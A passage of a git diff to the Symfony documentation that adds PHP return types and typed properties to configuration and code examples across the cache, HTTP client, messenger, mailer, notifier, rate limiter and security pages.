+        return function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(CacheKernel::class)
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index c05cf5b9163..166672d2c05 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -86,7 +86,7 @@ First, to use ESI, be sure to enable it in your application configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->esi()
                 ->enabled(true)
             ;
@@ -246,7 +246,7 @@ that must be enabled in your configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->fragments()
                 ->path('/_fragment')
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 87e6b411099..f40ec3e114d 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -74,7 +74,7 @@ First, to use SSI, be sure to enable it in your application configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->ssi()
                 ->enabled(true)
             ;
diff --git a/http_client.rst b/http_client.rst
index 5de78f879f9..b0a58670133 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -122,7 +122,7 @@ You can configure the global options using the ``default_options`` option:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->defaultOptions()
                     ->maxRedirects(7)
@@ -191,7 +191,7 @@ The HTTP client also has one configuration option called
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->maxHostConnections(10)
                 // ...
@@ -274,7 +274,7 @@ autoconfigure the HTTP client based on the requested URL:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // only requests matching scope will use these options
             $framework->httpClient()->scopedClient('github.client')
                 ->scope('https://api\.github\.com')
@@ -431,7 +431,7 @@ each request (which overrides any global authentication):
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()->scopedClient('example_api')
                 ->baseUri('https://example.com/')
                 // HTTP Basic authentication
@@ -533,7 +533,7 @@ Use the ``headers`` option to define the default headers added to all requests:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->defaultOptions()
                     ->header('User-Agent', 'My Fancy App')
@@ -939,7 +939,7 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->defaultOptions()
                     ->httpVersion('2.0')
@@ -1610,11 +1610,10 @@ If you want to extend the behavior of a base HTTP client, you can use
 
     class MyExtendedHttpClient implements HttpClientInterface
     {
-        private $decoratedClient;
-
-        public function __construct(HttpClientInterface $decoratedClient = null)
-        {
-            $this->decoratedClient = $decoratedClient ?? HttpClient::create();
+        public function __construct(
+            private HttpClientInterface $decoratedClient = null
+        ) {
+            $this->decoratedClient ??= HttpClient::create();
         }
 
         public function request(string $method, string $url, array $options = []): ResponseInterface
@@ -1885,7 +1884,7 @@ Then configure Symfony to use your callback:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->mockResponseFactory(MockClientCallback::class)
             ;
diff --git a/lock.rst b/lock.rst
index 71f98d5845c..8cf73549965 100644
--- a/lock.rst
+++ b/lock.rst
@@ -131,7 +131,7 @@ this behavior by using the ``lock`` key like:
         // config/packages/lock.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->lock()
                 ->resource('default', ['flock'])
                 ->resource('default', ['flock:///path/to/file'])
@@ -274,7 +274,7 @@ provides :ref:`named lock <reference-lock-resources-name>`:
         // config/packages/lock.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->lock()
                 ->resource('invoice', ['semaphore', 'redis://r2.docker'])
                 ->resource('report', ['semaphore']);
diff --git a/mailer.rst b/mailer.rst
index 203a06e2873..f1528a81bc0 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -601,7 +601,7 @@ and headers.
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $mailer = $framework->mailer();
             $mailer
                 ->envelope()
@@ -1215,7 +1215,7 @@ This can be configured by replacing the ``dsn`` configuration entry with a
         use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->mailer()
                 ->transport('main', env('MAILER_DSN'))
                 ->transport('alternative', env('MAILER_DSN_IMPORTANT'))
@@ -1288,7 +1288,7 @@ you have a transport called ``async``, you can route the message there:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->messenger()
                 ->transport('async')->dsn(env('MESSENGER_TRANSPORT_DSN'));
 
@@ -1368,7 +1368,7 @@ disable asynchronous delivery.
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->mailer()
                 ->messageBus('app.another_bus');
         };
@@ -1668,7 +1668,7 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments):
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->mailer()
                 ->dsn('null://null');
@@ -1722,7 +1722,7 @@ a specific address, instead of the *real* address:
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->mailer()
                 ->envelope()
diff --git a/messenger.rst b/messenger.rst
index ba8e4a76936..b5d47668eef 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -184,7 +184,7 @@ that uses this configuration:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->messenger()
                 ->transport('async')
                     ->dsn(env('MESSENGER_TRANSPORT_DSN'))
@@ -246,7 +246,7 @@ you can configure them to be sent to a transport:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->messenger()
                 // async is whatever name you gave your transport above
                 ->routing('App\Message\SmsNotification')->senders(['async'])
@@ -319,7 +319,7 @@ to multiple transports:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
             // route all messages that extend this example base class or interface
             $messenger->routing('App\Message\AbstractAsyncMessage')->senders(['async']);
@@ -452,7 +452,7 @@ transport and "sending" messages there to be handled immediately:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             // ... other transports
@@ -606,7 +606,7 @@ different messages to them. For example:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_high')
@@ -944,7 +944,7 @@ this is configurable for each transport:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_high')
@@ -1045,7 +1045,7 @@ be discarded. To avoid this happening, you can instead configure a ``failure_tra
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             // after retrying, messages will be sent to the "failed" transport
@@ -1163,7 +1163,7 @@ override the failure transport for only specific transports:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             // after retrying, messages will be sent to the "failed" transport
@@ -1255,7 +1255,7 @@ options. Options can be passed to the transport via a DSN string or configuratio
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('my_transport')
@@ -1674,7 +1674,7 @@ override it in the ``test`` environment to use this transport:
         // config/packages/test/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_normal')
@@ -1851,7 +1851,7 @@ this globally (or for each transport) to a service that implements
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->serializer()
@@ -2099,7 +2099,7 @@ Then, make sure to "route" your message to *both* transports:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_normal')->dsn('...');
@@ -2301,7 +2301,7 @@ middleware and *only* include your own:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $bus = $messenger->bus('messenger.bus.default')
@@ -2391,7 +2391,7 @@ may want to use:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $bus = $messenger->bus('command_bus');
@@ -2457,7 +2457,7 @@ to configure the validation groups.
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $bus = $messenger->bus('command_bus');
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index 2207035e11a..4fefd8991d9 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -205,7 +205,7 @@ named transport using your own DSN:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->messenger()
                 ->transport('yours')
                     ->dsn('my-transport://...')
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 27647781dcb..7c2b548796d 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -81,7 +81,7 @@ an **event bus**. The event bus could have zero or more subscribers.
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // The bus that is going to be injected when injecting MessageBusInterface
             $framework->messenger()->defaultBus('command.bus');
 
diff --git a/notifier.rst b/notifier.rst
index 2086c08979e..9a20b816ab9 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -149,7 +149,7 @@ configure the ``texter_transports``:
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->notifier()
                 ->texterTransport('twilio', env('TWILIO_DSN'))
             ;
@@ -279,7 +279,7 @@ Chatters are configured using the ``chatter_transports`` setting:
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->notifier()
                 ->chatterTransport('slack', env('SLACK_DSN'))
             ;
@@ -378,7 +378,7 @@ notification emails:
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->mailer()
                 ->dsn(env('MAILER_DSN'))
                 ->envelope()
@@ -458,7 +458,7 @@ configure the ``texter_transports``:
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->notifier()
                 ->texterTransport('expo', env('EXPO_DSN'))
             ;
@@ -520,7 +520,7 @@ transport:
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->notifier()
                 // Send notifications to Slack and use Telegram if
                 // Slack errored
@@ -657,7 +657,7 @@ specify what channels should be used for specific levels (using
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->notifier()
                 // Use SMS, Slack and email for urgent notifications
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 99e04976b25..6b9b9f2ff89 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -174,7 +174,7 @@ enforce different levels of service (free or paid):
         // config/packages/rate_limiter.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->rateLimiter()
                 ->limiter('anonymous_api')
                     // use 'sliding_window' if you prefer that policy
@@ -415,7 +415,7 @@ You can use the ``cache_pool`` option to override the cache used by a specific l
         // config/packages/rate_limiter.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->rateLimiter()
                 ->limiter('anonymous_api')
                     // ...
@@ -501,7 +501,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
         // config/packages/rate_limiter.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->rateLimiter()
                 ->limiter('anonymous_api')
                     // ...
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3337f05ab27..83e3c2f3cf3 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -303,7 +303,7 @@ doubling them to prevent Symfony from interpreting them as container parameters)
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->ide('myide://open?url=file://%%f&line=%%l');
         };
 
@@ -432,7 +432,7 @@ performance a bit:
         // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->enabledLocales(['en', 'es']);
         };
 
@@ -525,7 +525,7 @@ the application won't respond and the user will receive a 400 response.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->trustedHosts(['^example\.com$', '^example\.org$']);
         };
 
@@ -629,7 +629,7 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
 
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->csrfProtection()
                 ->enabled(true)
             ;
@@ -699,7 +699,7 @@ You can also set ``esi`` to ``true`` to enable it:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->esi()->enabled(true);
         };
 
@@ -1433,7 +1433,7 @@ To configure a ``jsonp`` format:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->request()
                 ->format('jsonp', 'application/javascript');
         };
@@ -1787,7 +1787,7 @@ setting the value to ``null``:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->savePath(null);
         };
@@ -1842,7 +1842,7 @@ Whether to enable the session support in the framework.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->enabled(true);
         };
@@ -1899,7 +1899,7 @@ This option allows you to define a base path to be used for assets:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->basePath('/images');
@@ -1949,7 +1949,7 @@ collection each time it generates an asset's path:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->baseUrls(['http://cdn.example.com/']);
@@ -1999,7 +1999,7 @@ You can group assets into packages, to specify different base URLs for them:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->package('avatars')
@@ -2075,7 +2075,7 @@ Now, activate the ``version`` option:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->version('v2');
@@ -2203,7 +2203,7 @@ individually for each asset package:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->versionStrategy('app.asset.my_versioning_strategy');
@@ -2303,7 +2303,7 @@ package:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 // this manifest is applied to every asset (including packages)
@@ -2636,7 +2636,7 @@ the component will look for additional validation files:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->validation()
                 ->mapping()
                     ->paths(['%kernel.project_dir%/config/validation/']);
@@ -2857,7 +2857,7 @@ This option also accepts a map of PHP errors to log levels:
         use Psr\Log\LogLevel;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
             $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
             // ...
@@ -3012,7 +3012,7 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('cache.mycache')
                     ->adapters(['cache.adapter.redis'])
@@ -3172,7 +3172,7 @@ the name as key and DSN as value:
         // config/packages/lock.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->lock()
                 ->resource('default', [env('LOCK_DSN')]);
         };
@@ -3252,7 +3252,7 @@ the name as key and DSN as value:
         // config/packages/semaphore.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->semaphore()
                 ->resource('default', ['%env(SEMAPHORE_DSN)%']);
         };
@@ -3430,7 +3430,7 @@ A list of workflows to be created by the framework extension:
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->workflows()
                 ->workflows('my_workflow')
                     // ...
@@ -3588,7 +3588,7 @@ exceptions that match the given exception class:
         use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->exception(BadRequestHttpException::class)
                 ->logLevel('debug')
                 ->statusCode(422)
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 695ae4f00ec..8421969baa8 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -59,7 +59,7 @@ You can now use it anywhere you need it:
         class User
         {
             #[Assert\PasswordRequirements]
-            public $plainPassword;
+            public string $plainPassword;
         }
 
     .. code-block:: yaml
@@ -95,7 +95,7 @@ You can now use it anywhere you need it:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements());
             }
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 9f3d810eb01..fc00b3b9476 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -169,10 +169,10 @@ Consider this example:
         class Service
         {
             #[ORM\ManyToOne(targetEntity: Host::class)]
-            public $host;
+            public Host $host;
 
             #[ORM\Column(type: 'integer')]
-            public $port;
+            public int $port;
         }
 
     .. code-block:: yaml
@@ -211,15 +211,16 @@ Consider this example:
         // src/Entity/Service.php
         namespace App\Entity;
 
+        use App\Entity\Host;
         use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
         class Service
         {
-            public $host;
-            public $port;
+            public Host $host;
+            public int $port;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new UniqueEntity([
                     'fields' => ['host', 'port'],
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 0dd96680101..a3f3d970419 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -54,7 +54,7 @@ to JavaScript::
 
     class Apple
     {
-        public $variety;
+        public string $variety;
     }
 
     $apple = new Apple();
@@ -293,7 +293,7 @@ For example::
 
     class User
     {
-        public $group;
+        public string $group;
     }
 
     $user = new User();
@@ -317,7 +317,7 @@ For example::
 
     class User
     {
-        public $age;
+        public int $age;
     }
 
     $user = new User();
diff --git a/routing.rst b/routing.rst
index be3e6bf49a9..d06a4c3f864 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2381,7 +2381,7 @@ The solution is to configure the ``default_uri`` option to define the
         // config/packages/routing.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->router()->defaultUri('https://example.org/my/path/');
         };
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 55823ee0a31..830e1d64320 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -368,7 +368,7 @@ Now define a service for the ``ExtraLoader``:
 
         use App\Routing\ExtraLoader;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(ExtraLoader::class)
diff --git a/security.rst b/security.rst
index 462d14377cd..8d33ff682e6 100644
--- a/security.rst
+++ b/security.rst
@@ -121,16 +121,16 @@ from the `MakerBundle`_:
         #[ORM\Id]
         #[ORM\GeneratedValue]
         #[ORM\Column(type: 'integer')]
-        private $id;
+        private int $id;
 
         #[ORM\Column(type: 'string', length: 180, unique: true)]
-        private $email;
+        private ?string $email;
 
         #[ORM\Column(type: 'json')]
-        private $roles = [];
+        private array $roles = [];
 
         #[ORM\Column(type: 'string')]
-        private $password;
+        private string $password;
 
         public function getId(): ?int
         {
@@ -207,7 +207,7 @@ from the `MakerBundle`_:
         /**
          * @see UserInterface
          */
-        public function eraseCredentials()
+        public function eraseCredentials(): void
         {
             // If you store any temporary, sensitive data on the user, clear it here
             // $this->plainPassword = null;
@@ -420,11 +420,12 @@ the database::
     namespace App\Controller;
 
     // ...
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
 
     class RegistrationController extends AbstractController
     {
-        public function index(UserPasswordHasherInterface $passwordHasher)
+        public function index(UserPasswordHasherInterface $passwordHasher): Response
         {
             // ... e.g. get the user data from a registration form
             $user = new User(...);
@@ -611,11 +612,11 @@ use the :class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
             // Avoid calling getFirewallConfig() in the constructor: auth may not
             // be complete yet. Instead, store the entire Security object.
             private Security $security,
-            RequestStack $requestStack,
+            private RequestStack $requestStack,
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             $request = $this->requestStack->getCurrentRequest();
             $firewallName = $this->security->getFirewallConfig($request)?->getName();
@@ -918,7 +919,7 @@ First, you need to enable CSRF on the form login:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $mainFirewall = $security->firewall('main');
@@ -1008,7 +1009,7 @@ Enable the authenticator using the ``json_login`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $mainFirewall = $security->firewall('main');
@@ -1175,7 +1176,7 @@ authentication:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->httpBasic()
                 ->realm('Secured Area')
@@ -1296,7 +1297,7 @@ Then, enable the X.509 authenticator using ``x509`` on your firewall:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->x509()
                 ->provider('your_user_provider')
@@ -1364,7 +1365,7 @@ Enable remote user authentication using the ``remote_user`` key:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->remoteUser()
                 ->provider('your_user_provider')
@@ -1444,7 +1445,7 @@ You must enable this using the ``login_throttling`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
 
             $mainFirewall = $security->firewall('main');
@@ -1582,7 +1583,7 @@ and set the ``limiter`` option to its service ID:
         use Symfony\Config\FrameworkConfig;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security): void {
             $framework->rateLimiter()
                 ->limiter('username_ip_login')
                     ->policy('token_bucket')
@@ -1713,7 +1714,7 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $mainFirewall = $security->firewall('main');
@@ -1742,7 +1743,7 @@ Next, you need to create a route for this URL (but not a controller):
         class SecurityController extends AbstractController
         {
             #[Route('/logout', name: 'app_logout', methods: ['POST'])]
-            public function logout()
+            public function logout(): never
             {
                 // controller can be blank: it will never be called!
                 throw new \Exception('Don\'t forget to activate logout in security.yaml');
@@ -1773,7 +1774,7 @@ Next, you need to create a route for this URL (but not a controller):
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('app_logout', '/logout')
                 ->methods(['POST'])
             ;
@@ -1880,6 +1881,7 @@ accessed via the ``getUser()`` shortcut in the
 :ref:`base controller <the-base-controller-class-services>`::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class ProfileController extends AbstractController
     {
@@ -1920,7 +1922,7 @@ If you need to get the logged in user from a service, use the
         ){
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // returns User object or null if not authenticated
             $user = $this->security->getUser();
@@ -1978,7 +1980,7 @@ database and every user is *always* given at least one role: ``ROLE_USER``::
     class User
     {
         #[ORM\Column(type: 'json')]
-        private $roles = [];
+        private array $roles = [];
 
         // ...
         public function getRoles(): array
